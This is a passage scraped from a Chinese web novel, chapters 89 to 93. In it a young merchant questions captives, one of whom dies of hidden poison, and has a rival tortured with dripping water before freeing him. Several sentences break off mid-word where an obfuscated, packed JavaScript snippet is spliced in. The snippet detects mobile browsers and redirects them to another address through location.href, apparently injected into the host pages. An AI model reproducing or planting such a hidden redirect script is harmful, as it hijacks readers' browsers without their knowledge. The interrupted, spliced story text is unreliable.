“哑巴？”白栖枝略微思忖了一下，笑，“是没喉咙还是没舌头，怎么会是个哑巴？” 一直在挑衅的男人不屑道：“哑巴就是哑巴，你说你跟一个哑巴较什么劲，他……” 趁着他说这骨碌废话的时候，白栖枝早已掐了那个沉默男人的下巴，硬生生将自己的拇指顺着唇缝儿强行塞进他口中，将他的脸掰正。 那人甩头挣扎。 良久，无果。 白栖枝用自己的拇指在他唇齿间敲开一丝缝儿，不顾那人怒目而视，用指尖探索着他的口舌。 男人的口腔温热湿润。 方进去，白栖枝的指尖便包裹上一层黏腻湿热的唾液。 她试探着向男人的舌尖摸索。 男人受激一样死死咬住她的拇指指节，用力之大，恨不得将白栖枝的骨头咬碎。 “东家！！！” 众人只见一道血痕从白栖枝的大鱼际蜿蜒而下，又顺着她白净纤细的玉腕隐没进衣袖里，在月白色的袍袖上晕开一片血渍。 “当真是个没有舌头的。”白栖枝跟感受不到痛一样，按着他的后牙，将指节曲起，拧着劲儿将男人的口唇撬开，仔细观察着他的口腔。 男人是个没舌头的。 不。与其说是没舌头，不如说是舌头的前半段不知被人用什么法子拿掉了，只留后半截舌根在嗓子里孤零零地待着，断口处甚至还能看到粉红的嫩肉。 一旁一直嘲讽的男人和他背贴背地绑着，看不见白栖枝到底在做什么，死死扭头，却只能看见她在掰自己兄弟的下巴。 男人想了一下坊间那些下流的传言，还以为白栖枝是在跟自己兄弟玩什么见不得人的小癖好，联想到自己现在的处境，立即如涸辙之鲋般拼命挣动着，破口大骂道： “白栖枝，你个不要脸的臭婊/子，林家两个男人不够你玩，你还想让我们两个爷们给你做男宠！呸！你个欲求不满的骚/货，你别想！你别想！老子、老子早晚要把你碎尸万段！老子要把你浸猪笼！！！” “啪！” 一声清脆的耳光响声，清晰地传遍房间内的每一个角落。 这一次，春花是使了吃奶的劲儿打出这一巴掌，未等袖间香风拂过，男人耳畔便一阵嗡鸣声不断。 男人破过一次的嘴角又流出血来。 春花看着自己红肿火辣的手掌心，随即一双眸愤恨地瞪着他，脸色气得惨白，呼吸都变得重。 “吃了屎的东西，把嘴巴给我放干净些，我家小姐岂轮得到你这杂种置喙？再敢满口喷粪，姑奶奶就拔了你的舌头剁碎了塞进你的屁股里！” 论说脏话，春花还没怕过谁！ 她自小就在市井里摸爬滚打着长大，骂人，那简直就是家常便饭的事儿！ 若不是被林家官家看上做了丫鬟，她指定能骂得比这更脏！ 眼见男人又要犟嘴，春花高举起自己的手掌就要扇下去。 “咦？这是什么？”白栖枝蓦地发声，叫春花动作一顿，扭头看向她。 只听白栖枝说道：“这里太暗了，春花，你来帮我看。” “是。”春花接过旁人手里的烛火，凑近一看。 只见男人满嘴血腥，在他舌根的断口处，竟藏着一个奇特的小黑点。 “咦？这是……”春花刚想将烛火再凑近看，岂料那一直沉默着的男人霎时间如一头暴怒的狮子般豁命四处乱动。 “东家！小心！”眼见他抬牙露出血盆大口，春花赶紧将白栖枝的手抽出来。 “硌！”男人咬了个空，上下牙相撞发出好大的声响。 “等等！” 白栖枝想要阻止，可已来不及了。男人登时四肢抽搐，眼鼻口唇四处都流出黑血。 被绑在身后的人看不见这骇人场景，感受到他不停地扑腾乱动，连带着自己也晃得头晕，赶紧唉声大叫道：“兄弟、兄弟你咋了？你犯羊癫疯了动的这么凶，莫动嘞莫动嘞，老哥今儿吃的早饭都要被你哕出来了！” 好在这抽搐片刻便止，他也终于得了一丝喘息，随即便被勒着往后仰去。 “东家，他、他死了……” 整个屋内，只有没见过死人的李素染显得格外惊慌，其他人此刻见那死尸垂着头滴着血，虽心内惶恐，但好歹也算是见过大场面，都格外镇定。 “啥？死人了？”后仰的男人一时间还没反应过来，但他侧头，就能看见自家兄弟低垂的头颅，登时惊恐地蹬腿大喊道，“娘嘞！死人啦！！！救命啊！杀人啦！！杀人了啊！唔唔！唔唔唔！！！” 口内被塞入大块的布，正是紫玉将自己外衫脱下来塞到他口中。 等到衣裳塞满男人整个口腔，紫玉才扭头一脸担忧地问道：“东家，怎么办？” 白栖枝还在托着尸体的下巴仔细观察着他的口腔内部，在看到那个被咬破的黑点后，她大撬开男人的嘴，另一只手从胸前抽了手帕，裹着食指，在那黑点残余处沾了一点。 “服毒自尽，竟是个死士。” 白栖枝扭头看向另一旁还在“唔唔”直叫的男人，拎着手帕一角将整张手帕展给他看，尤其是上头那个黑点，更是明晃晃地摆在他眼前。 “他的毒药藏在舌断处，说说，你的毒药藏在哪里？” “唔唔！唔唔唔！呜呜呜呜呜呜呜！” 男人被吓得哭着尿了裤子。 * “东家，我们……杀人了……” “哪里算杀人，分明是他服毒自尽。” 荒郊野外，面对着凛冽冬风，白栖枝捧着将冷手炉，拢了拢身上的狐裘。 “且慢。” 眼见那死尸被埋得只剩一张脸裸露在外，白栖枝从袖中抽出那张沾了他唾液的手帕，轻捏着一角，蹲下。 手帕覆盖住男人的脸，可惜死人闻不到女儿香。 “好了，接着埋吧。” “呜呜呜呜，兄弟啊，你说你是个死士你咋早不跟大哥说呢？你要是跟大哥说？大哥还敢捡你进大哥手下吗？呜呜呜呜呜，兄弟，你害死大哥了呀！！！”男人一边哭一边埋着跟自己搭伙搭了半年的兄弟。 冬天的风太冷，他的鼻涕眼泪都冻成了冰溜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15231792|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 溜，连带着□□下的那片水渍也冻得跟坚冰一样，一晃一晃的，撞得他生疼。 死人是无法回答质问的。 尤其还是少了半截舌头的死人。 眼看着这人整个人被泥土混着雪粒掩埋，白栖枝冷冷垂眸看着，耳畔全是男人方才在柴房里对她的剖白—— “呜呜呜呜，这事儿跟我没一点关系啊小白老板！我真不是什么死士啊！他、他是一年前来到咱们淮安城的，当时他在街边要饭，我看他身板好，想着就收着他当小弟，日后我帮坊主催债的时候他还能给我撑撑场面啥的。我说这小子咋力气这么大、拳脚这么好，合着是个死士啊！话本子里不都说死士会武功啥的吗？兄弟啊，你说你、你说你、你说你啊！你这一身腱子肉白长了啊！还死士？不如让大哥来当！虽然大哥也豁不出那个命，但大哥好歹能多赚点银子花花啊！兄弟啊，你可把大哥害惨了啊！！！” 他这一长段废话说了等于没说，但总归还是有那么两点暂时值得一听。 一、圈莫当时这事儿真的是赌坊老板干的，怨不得其他人。 二、这死士一年前就已经被插入淮安。 他是来做什么的？ 是谁派他来的？ 派他的人究竟想要做什么？ 白栖枝垂眸凝思。 一年前——不，未必是一年前——冬日是个让人记不清日子的时节，他说的一年前，有可能是年节前也可能是年节后，但总归是冬日，去年冬天，淮安城究竟发生过什么呢？ 去年冬天…… 白栖枝走在大街上也在想着这件事。 身后人见她一副凝眉苦思的样子皆屏气凝神不敢打扰。 她们觉得，东家自从那次绑架案后，就像变了一个人一样，性情大变不说，就连通身的气派都不一样了。 想当初，东家是个多么活泼开朗的的好孩子啊，如今却总是一副小大人似的愁苦模样。 失踪的那些天，东家到底经历了什么啊？ 众人你看看我，我看看你，不敢说。 突然—— “咚！” 一个瘦小身影突然撞进白栖枝的怀里，她低头去看，就见着一个脏兮兮的小女孩在抬头看她。 白栖枝自诩不认识这个孩子，可这孩子在抬头看她的时候眼睛蓦地一瞬就亮了，稚嫩的小脸上露出大大的笑容，被扶起来后就兴奋得手舞足蹈。 这孩子不会说话。 经历了方才的事情，白栖枝不由得对这种人起了几分警觉。 见她面上冷冷，女孩气馁了一下，很快又打起精神，将一双小手拢在一起做了个小碗状，捧到自己面前，吞咽着像是在吃什么。 随机，她用自己脏兮兮的小手张开嘴指了指自己的口腔，又牵起白栖枝的双手捧在自己嘴前吹气。 “是你？”白栖枝想起来了，是那个妹妹，见她孤身一人，又问道，“你阿兄呢？” 小女孩的神色黯淡下去。 她放下白栖枝的手，指了指天上鹅毛似的大雪，又双手合十枕在自己肩头，缓缓合上双眼。 哥哥…… 睡在大雪里…… 起不来了…… 90. 自度 “对不起……” 白栖枝垂着脑袋，将手放在女孩柔软的发顶上，轻轻揉着。 对不起……对不起……对不起…… 白栖枝也不知道自己的对不起是在同谁说，但总之，还是对不起。 一滴温凉的水珠落到女孩脏兮兮的小手上。 女孩仰着头垫着脚，伸手要去为白栖枝擦去泪点，却在伸手的刹那又缩回来，在衣裳干净处来回地磨蹭，直到她觉得自己的手是干净的，才再次踮脚抬手擦去白栖枝脸上的泪水。 姐姐……是好人！ 小女孩一点点比划着—— 不要哭，没事的，哥哥，只是，睡了。 哥哥，是，吃饱了睡着的。 哥哥，很开心。 小女孩本以为这样说的话，白栖枝可以好受一点。 但是并没有。 白栖枝哭得更凶了。 为了保持在孩子面前唯一一点颜面，白栖枝蹲下身子，用手死死捂住自己的脸。 泪水从她指缝里破碎而出，她咬着唇肉，不让自己发出一丝呜咽。 双手拢住视线的那一刹，白栖枝眼前闪过许多道身影。 惨死的父亲，斩断的兄长，失去头颅的母亲，还有吊死的二丫…… 她自诩聪明，空有善心，却什么也做不到。 她是废物是杂碎是蝼蚁是杂碎是落水狗是丧家犬…… 她什么都做不到。 “好了好了小妹妹，来，过来。”到底还是李素染先上前一步，将小女孩轻轻拉到自己面前，蹲下，拢着她的手轻声细语地哄道，“小妹妹，想不想来香玉坊做工呀？我们香玉坊里有很多像你这么大的小姊妹呢。你来了，就有小伙伴了，还有吃住的地方，而且这个姐姐呢还是香玉坊的东家、老板，想不想来香玉坊做工呀？” 眼下这孩子没个去处，来香玉坊做工好歹有吃有喝有地儿住，虽然她这个年纪工钱不算多，但至少不至于冻死饿死，对她来说也算是个好去处。 小女孩想了想，抽出手后退一步，摆了摆手。 不了，我，有地方呆了，谢谢姨姨。 姨姨，也是，好人。 比划完，小女孩又看了看还蹲在地上的白栖枝，怯生生地，伸出手，学着她的样子也揉了揉她的头，而后微微转身，同众人一鞠躬，离开了。 “东家……”李素染也不知道该如何安慰东家。 她低头看着，这么一看，东家实在是好小一只啊。 也是，可不是小么，十五岁的年纪，怎么就不算小孩子呢？ 也许是实在是太过熟络，加之东家总是一副运筹帷幄的样子，竟让他们渐渐忘了，在他们这群人中，东家才是最小的那一个。 让这么小个孩子日日夜夜守着生意为他们负责，还真是令人羞愧啊。 想着，李素染一点点挪到白栖枝身边，揽着她的肩膀令她伏到自己肩上，兀自感受着她抽泣时肩膀轻轻的颤动。 众人见状，也纷纷迎上去蹲在白栖枝身边，一个个又是拍背又是捋脊骨的，真把白栖枝当做小孩子来哄了。 白栖枝知道自己眼下不能误事。 她哭了一会儿也就止住了。 方才，那孩子的出现倒是令她想起来一件事，去年冬天，淮安城确实发生了两件说大不大说小不小的事。 一是她当众施粥，二就是香玉坊开门营业。 倘若她想得没错的话，那人大概是被派来看着她的。 但有一件事实在是令她想不通—— 假若那人真是旁人派来死士，那为何会如那个打手说的一般，没有分毫武功呢？ 这是白栖枝无论如何也想不通的事。 为什么呢？ “为什么？” 看着自考学归来就把自己闷在屋里的弟弟，宋怀真实在是不明白：“既然回都回来了，那就去看枝枝一眼嘛！她最近出了好多事，你作为朋友不去看一眼怎么能成？宋长宴，你还是不是个男人？” “砰！” 门被狠狠一踹，宋怀真气得拂衣而去。 听着门外渐渐没了动静，宋长宴这才敢拿下装模作样的书本，大口喘上一口气。 是啊，作为枝枝的朋友，怎么能不去看一眼呢？ 可他该怎么面对枝枝呢？ 难不成、难不成枝枝一直以来都是在骗他的？其实枝枝根本不是那样子的人，一直以来都是在骗他的？和那些人一样，一直以来都是在骗他的？ 不对不对！ 枝枝姑娘肯定不是那样的人，枝枝姑娘那副模样肯定不是做假就能做出来的。 明明，明明是那么澄澈明亮的眼睛，明明是那么温和友善的笑脸，这样的枝枝姑娘怎么会骗人呢？ 可是……可是…… 提起白栖枝，宋长宴的脑海里第一时间闪过竟不是白栖枝那张团乎乎的可爱笑脸，而是他回来时在那座破庙内看见的一切。 他此番考学，对白栖枝实在是思念已极，尤其是回来的路上脑海里全是白栖枝送他临行前的模样。 ——愿此番宋哥哥能得偿所愿、金榜题名，就算做不得状元也能做得榜眼探花，枝枝便在淮安静候宋哥哥的好消息。 宋长宴实在是想得翻来覆去睡不着觉，便没有听父兄的嘱咐，让马车抄了他去年来时的那条小道，在进去前还特地嘱咐车夫和随从不要跟来，他要一个人进去看看。 林子里，古庙犹在，伊人却别。 宋长宴也是借着忆苦思甜、睹物思人的心绪，再次回到那个和白栖枝初次相逢的破庙里的。 庙内一切都变了，变得更破了。 但一切好像都没有变，还是跟初遇那天一样，令他神清气爽。 刹那间，宋长宴恨不得直长出一双翅膀来，快快飞回白栖枝的身边。 在这里待久了，宋长宴忽地感觉四处发冷。 起初，他还以为是树林阴暗，凉风拂过的缘故。 直到—— 他闻到了一丝腐烂的味道。 这味道实在是令人作呕，宋长宴原以为是什么蛇虫鼠蚁腐尸散发的味道，捏着鼻子转身要走。 可这味道越来越浓、越来越浓，根本超过了动物尸体腐烂的味道。 宋长宴也是胆子大，心下存疑，他便顺着气味去找。 味道来源于佛像后的一方土地。 因这庙年久失修，佛像上蛛丝网结、佛身腐烂，佛像下的砖瓦更是破破烂烂，地上裸露着大片大片的泥土，底下不知道埋了什么。 宋长宴试探性地用足尖刮了刮。 地上露出一个白白黄黄的东西。 他又试探性地用足尖刮了刮—— 是人骨啊…… 尸身腐烂见骨，可见这人在这儿被埋了多久。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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门外又传来宋怀真恨铁不成钢的声音：“宋长宴，枝枝方才差人送来了一句话，说你之前回来时她陡生变故忘了为你接风洗尘，三日后，她要在坊前摆摊施粥，约么要施两日，等过后就邀请你我还有其余那些之前你帮过她的朋友们吃饭，你要还活着，就应一声，到底去不去？” “去！去的！”宋长宴急急出声。 其实，他也很想枝枝姑娘的，他比任何人都要想，看不见枝枝姑娘的时候，他比谁都要伤心。 如今枝枝姑娘派人来请他吃饭，他是一定要去的。 不仅要去，还要整装待发地去，还要容光焕发地去！ 他是一定要去的！ 得到应声，宋怀真方开怀道：“这才对嘛，男子汉大丈夫，有什么敢不敢羞不羞的，喜欢就要见啊，不过是又落榜了嘛，没什么的，人家有的人四五十岁才考中，你急什么？好好准备哈，我去回人家一声。” 宋怀真说完就走，完全不给宋长宴留一丝说话的余缝儿。 宋长宴暗暗地想：也是，枝枝姑娘她如此心善施粥，又是白翰林的女儿，要知道在长平，提起白翰林，那还是个百姓口口称赞的好官儿呢！枝枝姑娘在这样的环境下长大，怎么可能学坏？ 是他以小人之心度君子之腹！ 是他以己度人、是他居心叵测、是他心术不正！ 他简直！太不是个东西了！！！ …… 91. 审讯 莫当时欠的钱白栖枝给垫上了，莫当时的医药费白栖枝给出了。 欠条攥到手里，白栖枝双腿交叠、手搭下巴，垂眸看向跪在面前的莫当时：“这次可长记性了？” 莫当时点头如小鸡啄米，迭声应道：“长记性了、长记性了！东家，我以后再也不敢生事了。” “那就好。”话音落下，白栖枝又换回从前那副模样，一脸灿笑道，“知错能改善莫大焉，这欠条就先放在我这儿，不着急，可以慢慢还，只是在还完之前你只能是香玉坊的人。” 莫当时赶紧支起腰板，竖起三根手指放到太阳穴处，赶紧应道：“肯定的肯定的！我肯定是香玉坊的人！一辈子都是！”说完，他又觉得不对，急急补道，“东家放心，东家的恩情我没齿难忘，这钱我一定会尽快还完，尽量不拖欠东家太久。” 白栖枝点点头：“嗯嗯，既然如此，那就快起来吧，走个流程而已，不用跪那么久。” 说完，她“腾”地一下起身，在众人面前来朗声道：“此事虽已解决，但保不准以后还会有人再对香玉坊出手，大家切莫掉以轻心，务必保持小心谨慎，以免中了他人的圈套。好了，这次就先说这么多，大家手头也挺忙的，有什么活儿就去作，没什么活儿就去休息。两日后的施粥还需要大家共同努力，都散了吧。” 众人你看着我，我看着你，不敢吱声。 自从那天之后，东家又变回那个善良可爱的小女孩了，但众人怎么也忘不了她吩咐人去埋尸时的眼神，冷冽的、淡漠的，没有一丝人性。 但这事儿大家也不敢妄自置喙，如今看白栖枝这幅模样，大家虽然松了一口气，但心总是还隐隐吊着。 东家如今这性子变化太大，风一阵儿雨一阵儿的，他们真怕这风雨会刮到自己身上。 不过东家目前为止看起来心情不错，他们暂时也不担心东家会对自己如何。 白栖枝心情的确不错。 在那日她回去后，正巧发现那枚原本盖到死尸脸上的手帕竟不知何时回落到她的窗前。 手帕旁边还附赠了一张小纸条—— “莫要孳事” 她的心思被洞穿了。 白栖枝本想着留个线索让她好见见仇家，没想到有人率先斩断了她这个念头，将她覆盖在尸体上的“赃物”洗干净后不知不觉地还了回来。 虽然略有不爽，但是还好。 白栖枝到底还是将那张手帕收了起来。 ——莫要孳事。 白栖枝倒也不想孳事，只是树欲静而风不停，她也是没有办法的呀。 老是装病没意思。 第二天，白栖枝就又恢复了那副活力满满的样子，甚至还去与沈忘尘清谈良久。 白栖枝什么事都会同沈忘尘说，连带着这次莫当时的事也一并告诉沈忘尘。 自打白栖枝醒后接手回香玉坊，沈忘尘便一点点闲了下来，这一闲下来，身子与精神头也都养回来不少，也有闲心闲力为白栖枝出谋划策。 他本就是白栖枝的师父，教导弟子是分内的事。 可以说白栖枝能从一个对生意场一无所知的闺门千金，到如今能在这商客云集的淮安搏出一份彩头，他沈忘尘也算功不可没。 听完白栖枝有条不紊的分析，沈忘尘方柔声开口询问：“所以，枝枝是想借着此次施粥与宴请，来一一排除其余可能作案之人？” “嗯。”白栖枝应道，“虽说幕后主使未必在淮安，但多排查一分，便能多减轻一分受风险的可能。毕竟枝枝精力也有限，无太多时间顾及他们，只要确保那人的同伙不在我身周就好。” 沈忘尘说：“枝枝做事向来有数，沈哥哥自然是信得的。只是——”他顿了顿，举起茶杯，用茶盖轻撇去浮沫，吹了两息，柔声道，“就算找到了人，可倘若对方位高权重，枝枝又打算如何处理呢？” 白栖枝不是没想过这种可能。 她悠然一笑道：“自然是不处理。” 沈忘尘笑着看向她。 白栖枝道：“对方能养死士，自然是位高权重者。枝枝找他，未必是要对付他，更未必是要将他置之于死地。枝枝只是好奇，枝枝想看看，究竟是什么人气量如此之小，居然连枝枝一个女儿家都容不下。至于那些怨不怨仇不仇的，自然不是枝枝眼下该想的事。” 沈忘尘笑意更甚。 十五岁，刚巧是一个人最为血气方刚的年纪，明明这一阵儿受了这么多委屈，却仍能气定神闲地说出这种话，也是够能忍的。 忍字心头一把刀。 见白栖枝对自己能有这股狠劲儿，沈忘尘便越发满意他这位一手调教出来的小徒弟了。 他趁着白栖枝未说完前呷了口茶，待白栖枝说完，他这口茶也正好咽下：“那枝枝便放手去作罢。沈哥哥身子不中用，到底也帮不上什么忙，倘若枝枝有什么需要用钱用人的地方大可以同沈哥哥讲，沈哥哥自是会支持枝枝的。” “没事的沈哥哥。”白栖枝脸上笑着，眼底却看不出什么情绪，“这事是枝枝一个人的事，枝枝不想牵扯到旁人。枝枝已差阁内伙计这几日去集市上雇人打理……” “阁内？”沈忘尘打断了她，“云青阁？” 白栖枝应道：“嗯，还请沈哥哥放心，阁内无一是林家的伙计。” 居然没有用香玉坊的人，看来她是真不想把这事儿牵扯到林家身上——沈忘尘暗暗地想——孩子真是长大了，翅膀也硬了，想要为自己遮风挡雨了。 “对了。”沈忘尘像是刚想起什么事似的，一副漫不经心的模样，将茶杯搁置到案几上，“此前绑架枝枝的人沈哥哥已经找到了，枝枝要去见见吗？” 未等白栖枝开口回答，他又兀自笑着柔声道：“去见见吧，好歹让我们家枝枝吃了那么多苦头，沈哥哥一定要好好罚他。只是沈哥哥不善此道，待枝枝见过后，再来告诉沈哥哥到底该如何惩处此人。好吗？” 他嗓音轻柔，语调温润，可在白栖枝耳朵里却格外渗人。 男人的话就像是一张蛛网，将她密不透风地围住，她就像是在蛛网中间胡乱扑腾的虫，只能眼睁睁地看着这人收网。 “好。”白栖枝干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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滴水刑者，乃将受刑之人缚于榻上，使其不得动弹，而后于其额前悬一水桶，桶底凿孔，水滴遂滴落于其额头同一处。此刑非以物理之伤致人于死，而在于久而久之，水滴之持续刺激，令受刑者精神备受折磨，终至神志崩溃。 白栖枝不知道钱有富是什么时候被绑进来的，但看着他身上蚊蝇四绕，甚至有的还伏在他伤口处吮吸的模样，就知道他大抵被绑在这儿有一段时日了。 白栖枝仍是没说话，也没去管究竟是哪出滴水，只是在钱有富面前踱来踱去。 寂静的牢房内，只能听到人轻轻的踱步声、两人一缓一促的呼吸声，和不知哪出传来的不规则的水滴声。 在这种情况下，寂静，才是最折磨人的。 钱有富眼睛被蒙得看不见任何光亮，自然也就不知道在他面前踱步的人是白栖枝。 他还以为是那位寡言力气又出奇地大的姑娘又要来糟践他了，他一个细皮嫩肉的老板如何能遭得住这种罪？ 不用白栖枝开口，他便登时神智崩溃，大哭嘶吼道： “别打我了，别打我了！我说，我都说！别再打我了，呜呜呜……” 92. 放人 钱有富几天没睡过一个好觉了。 在他那些颠三倒四的话语中，白栖枝大概了解他是因为不满被她威胁，又不满她独占市场从而心存妒忌，在某一日听从了下人的挑拨，这才找人将她绑架。 他本想着关她五日让她长长记性，到时候再让人放她走，没想到她竟自己趁人不备率先逃了出去。 五日后，钱有富派人去那个破茅草屋放人，却发现门被撞碎，屋内空无一人，只有血迹蜿蜒在地。那两日还下了雨，屋外泥里的血迹被雨水冲刷，他们都不知道她究竟逃到了哪儿。 自那之后，他就在没睡过一个好觉，生怕被她发现，被她寻仇。 时间回到三日前，他本以为万事大吉，没有人再记得这件事，然而当他与他的小湘红作别，打算从小巷子里偷溜回家后，却被人一棍子从后面敲晕，然后…… 就是无休无止的折磨，直至今日方休。 听完这段话，白栖枝抬手，渐渐解了钱有富眼前的黑布条。 光线刺进来的一刹钱有富猛地闭眼，直到熟悉了这灯光，他才缓缓开眼。 “小、小白老板！” “嗯，是我。”白栖枝兀自认下。她举着灯，躬身凑近钱有富的脸，慢条斯理地笑问道，“钱老板，滴水刑的滋味，不错吧？” 两人四目相对，白栖枝一双眼眸在灯火得映照下，幽黑得深不见底。 钱有富不知绑他来的人究竟是谁，眼下见白栖枝自行承认，便认作是她，开口求饶道：“小白老板，是我吃了熊心豹子胆，是我狗眼看人低，您放了我吧，我求求您放了我吧，从今往后，我钱有富再不敢和您争了，求您您放过我吧。” “不急。”白栖枝还有些细节仍存疑问，她话锋一转，起身抽离，继而又慢条斯理地问他道，“钱老板，方才你说你是被下人哄骗，对于那个下人的底细，你知晓多少，可还熟识？” “我……”钱有富吞吞吐吐。 刷—— 飘摇的灯火距离钱有富的眼瞳只有半寸不到，只消白栖枝轻轻吹上一口气，火苗便能灼了钱有富的眼。 “不许欺瞒。”白栖枝道。 钱有富急忙求饶：“没、没，小白老板，我哪里敢骗您呢！只是那个下人我实在是不太熟，您想啊——我钱家，加上那桃妆轩，上上下下、里里外外几百个仆从，我哪儿有时间记得他们去啊？您说我对他知晓多少，算不算熟识，我这怎么回答您啊？不若这样，您先放了我，我回去慢慢地查，等一有消息立马通知您，如何？” 白栖枝微微皱眉一笑，睨着他娇嗔道：“不熟识不知晓钱老板就敢这样听之信之，倘若熟识了知晓了，那人要钱老板置我于死地，钱老板岂不是更要听其摆布？钱老板这般听风就是雨，实在是太让我信不过了……” “不会的白老板！”钱有富狗腿地恭维着，“您身后有林家，还有节度使家的二公子和二小姐，我怎么敢至您于死地呢，我……” 白栖枝冷冷道：“我的事，不要牵扯到旁人。” “是是是！”钱有富迭声应道。 呸——钱有富再心里大骂道——若不是你身后有林听澜和宋长宴帮衬着，凭你一个女子，如何能做到如今这等地步？还说不要牵扯到旁人，难道时至今日，你牵扯的还算少么！ 他如是想着，面上还仍保持那幅狗腿似的笑容：“白老板，您看，我要想抓到是谁陷害我……哦，不，是陷害您的那个罪人，是不是得先回家盘问下人。既然如此，您不如给我松绑，让我回家去好好盘问教训，也算是能为小白老板您出一份力。” 白栖枝没回话。 她又拿起手中的布条将钱有富的眼绑上。 钱有富恨不得破口大骂，白栖枝却抢先他一步道：“你先别急，我自然会放你，只是不是现在。劳烦钱老板再忍一时苦，稍后我会让人放您出去的。” 钱有富在心里骂骂咧咧地闭嘴了。 白栖枝自然是没有放人的资格，她要去求沈忘尘。 屋内，沈忘尘正躺在贵妃榻上好整以暇地闭目养神。 仿佛知道她回来求他似得，沈忘尘听到下人通报后便微笑着睁眼，朝着门外温声道：“既然是枝枝啊，那就进来吧，日后不必让下人通报了。” 白栖枝应声轻轻推门。 眼近年关风雪重，这门只开了个小缝儿，风雪就拼了命地往里头灌。 饶是沈忘尘只坐在里屋，被这冷风一吹，仿佛受不住似得，登时冻得呛咳起来。 白栖枝赶紧将门关上：“沈哥哥。” 沈忘尘道：“如何？枝枝可是见着了？” 白栖枝低声应道：“见到了。”她顿了顿，“沈哥哥，可否能允枝枝一个不情之请？” “什么？” “能不能……放了钱老板？” 沈忘尘略略抬眉。 只听白栖枝垂眸解释道：“钱老板到底是桃妆轩的东家，日后枝枝生意上估计还要和他往来，此般将他这番折辱，他必定会记恨于心，恐怕日后香玉坊与桃妆轩便再无来往可能。可倘若我们现在趁着他尚对我们有几份惧意，让他为我们做事，再加以安抚，或许日后两家还有合作的可能。还请沈哥哥放了钱老板罢。” 白栖枝说到这儿便不说了，只低垂着头，一副快要哭了的神色。 自己亲手培养徒弟还得自己来哄。 沈忘尘莞尔一笑道：“枝枝果然还是如此心善。”他直起身子，稍稍探前，“枝枝，过来。” 白栖枝乖巧上前，蹲在沈忘尘腿边，一双水汪汪的杏眼一瞬不瞬地看着他，看得人心都化了。 “沈哥哥……” 一切都如同初见那样，白栖枝将白净的小脸扬起，一副任人揉捏的乖顺样子。 沈忘尘看了，只是笑：“枝枝，沈哥哥只是想替枝枝出了这口气，沈哥哥容不得旁人欺辱枝枝，枝枝会理解沈哥哥的吧？” 白栖枝垂下眼帘：“枝枝明白……” 沈忘尘又说：“不过呢，说到底沈哥哥只是想替枝枝出一口气。如今这口恶气已出，至于此人如何处置，沈哥哥自然不会插手，一切都由枝枝来定夺吧。” 白栖枝抬眸，就见着这人温润浅笑。 他一笑，那双 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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钱有富跌跌撞撞地回到府中后果然大发雷霆，要将那个给他出馊主意的下人碎尸万段。 可无论是钱府、桃妆轩，亦或是整个淮安，哪里还有那个下人的影子？ 钱有富登时就明白了：这是有人要害他！这是有人故意要他与林家为敌，好让他在淮安再无容身之处啊！！！ 想到这儿，钱有富登时惊出一身冷汗。 他不明白究竟是谁想要害他。 他素来做人圆滑、不留痕迹，在淮安也没听说过有什么仇家。 到底是谁要害他？！ 钱有富哆嗦着手抹去额头上一脑门的冷汗，再回神，警觉自己衣衫竟都湿透了。 他不敢再想。 现在，他唯一庆幸的就是白栖枝还不知道兴孝村王家的事儿也是他听那人挑拨起的头，不然白栖枝还不得叫她背后那两个活阎王将他千刀万剐，片肉来涮锅子吃？！ 光是这么想着，锋利的刀刃仿佛就已经抵在皮肤上，欲将他这一身的肉整齐割下。 钱有富猛地打了一哆嗦。 他不敢在想，只是大声吩咐外头下人道： “烧水！老爷我要沐浴！！！” …… 93. 无痕 “废物！废物！！！” “一个小姑娘你们都搞不定，你们还能做成什么？！” “废物、饭桶、蠢货！都给我滚！！！” 案上纸墨被尽数扫落，只听乒乒乓乓一阵乱响，整洁的书房内一片兵荒马乱。 路羡之大发雷霆，跪在面前的下人们都各个屏息凝神，生怕多说一个字，大人的怒火就会烧到自己头上。 “大人别急。”一旁立在路羡之手旁，家仆打扮的人缓缓上前递过一杯茶水给他顺气，“不过是一个黄毛小丫头，何以值得大人如此生气？依我看，不如就先让她得意一段时日。俗话说得好：木秀于林，风必摧之。等她出够了风头，何必大人动手？淮安的那些富商自然会合起伙来对付他，到时候别说是林家，就算是宋鸿晖也未必能保得住她。” 路羡之原本在品茶水，听他这话，当即猛地一拍桌案，大呵道：“提起那个宋鸿晖我就来气！一年前，白栖枝去衙门去了，按理说这种事，本应通报给户部，他宋鸿晖竟敢暗自按下不表，他分明就是在替那个罪女掩饰！依我看，他跟白纪风他们分明就是同党！他们都是一派的！！！” 他方吼完，突然头痛欲裂，蓦地一屁股栽倒在凳子上头晕目眩，大口大口地喘息。 下人们闻声将头低得更低了，生怕路羡之一个不如意就要杀他们解气。 还是那位家仆见他们不易，从袖下探出手，暗地里做了一个让他们走的手势。 